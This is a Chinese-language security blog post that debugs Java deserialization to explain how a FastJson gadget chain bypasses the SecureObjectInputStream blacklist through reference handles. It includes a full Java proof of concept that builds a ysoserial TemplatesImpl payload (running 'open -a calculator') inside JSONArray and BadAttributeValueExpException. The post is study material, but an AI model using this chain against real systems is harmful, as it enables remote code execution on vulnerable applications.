resolveClass的一些调试
2023-05-05 21:16:33

这篇文章纯纯参考 FastJson与原生反序列化(二) 这个做的一些调试和学习,做一下总结,我脑子不好使,师傅没有讲细节,我来分析的再细节点。

一个简单的例子

直接用文章里的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.ctf.ezser.test;

import com.alibaba.fastjson.JSONArray;
import ysoserial.payloads.util.Gadgets;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Test {
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {

Object templates = Gadgets.createTemplatesImpl("open -a calculator");

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd, "val", jsonArray);

HashMap hashMap = new HashMap();
hashMap.put("a", bd);
hashMap.put("b", templates);


ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}

例子很简单奥,直接运行会报错说 autoType is not support

image-20230505213034336

bd前面的 “a” 换成 “c”:

image-20230505213132328

代码执行成功了,这是为什么呢。

调试过程

直接在 BadAttributeValueExpException 的 readObject 下个断点:

image-20230505213446180

会发现这里的 JSONArrayTemplateImpl已经恢复了。怎么恢复的呢?

在反序列化恢复的时候存在一个东西:

image-20230505214200849

这个东西翻译过来就是引用,进入到 readHandle 看看:

image-20230505214427460

其实也不用仔细看,大概的意思就是如果类型是引用类型,那么就去 handles 里面找,如果找到的了就直接返回类。

然而 resolveClass 这个函数是在上面那个图里的 TC_OBJECT 里面的 readOrdinaryObject 里面调用的,说白了就是在反序列化的时候调用的,但是这个时候我们的 TemplatesImpl 这个类都已经出来了。所以自然就不需要调用到 JSONObject 的 resolveClass 了。

调试过程2

强行分个段,在 readHandle 这里下个断点,看看 JSONArray 里的那个 TemplatesImpl 是怎么恢复的:

image-20230505215705050

image-20230505215758098

image-20230505215832733

这三张图是逆推的图,链子其实就是 BadAttributeValueExpException.readObject 的时候恢复 JSONArray,然后 JSONArray 里面恢复 TemplatesImpl(其实不是 JSONArray ,应该是 JSONObject 下的 SecureObjectInputStream),恢复的时候用的引用类型,直接从 handles 里面找,就不用到 JSONObject.SecureObjectInputStream 的 resolveClass 了。

分析引用类型

我们看看他是什么时候加进去的

进去 handles.lookupObject:

image-20230505220522044

会发现它是获取的 entries 里的,看看 entries 是什么时候加进去的:

找到这个函数:java.io.ObjectInputStream.HandleTable#assign

image-20230505220701694

看看调用栈,往上看看:

image-20230505220900573

此处是 HashMap 的 readObject 在做反序列化恢复,恢复的就是 TemplatesImpl 这个类,这个时候当然是没有黑名单的。

一个总结

可能讲的有点乱,到此为止直接总结一下过程就好了:

现在一共是:

1
2
3
4
5
6
7
8
HashMap 内有两个数据,这里的 -> 是包含关系

字符串c -> BadAttribute类 -> JSONArray类 -> TemplatesImpl

第二个是
字符串b -> TemplatesImpl

这两个是 TemplatesImpl 同一个地址来的,就是指向的同一个,类似PHP反序列化的引用类型。

然后首先恢复HashMap,然后恢复第一个数据,第一个数据 键是b,值是 TemplatesImpl,恢复到第二个键 c 的时候再恢复 TemplatesImpl 时就不需要再readObject了,直接取就完事了。

也就是一个先后顺序的问题,如果把 字符串c 改成 字符串a 的话,这个时候就先恢复 BadAttribute 了,发现引用类型里找不到就会去调用 JSObject 的 resolveClass 恢复类了~

Prev
2023-05-05 21:16:33
Next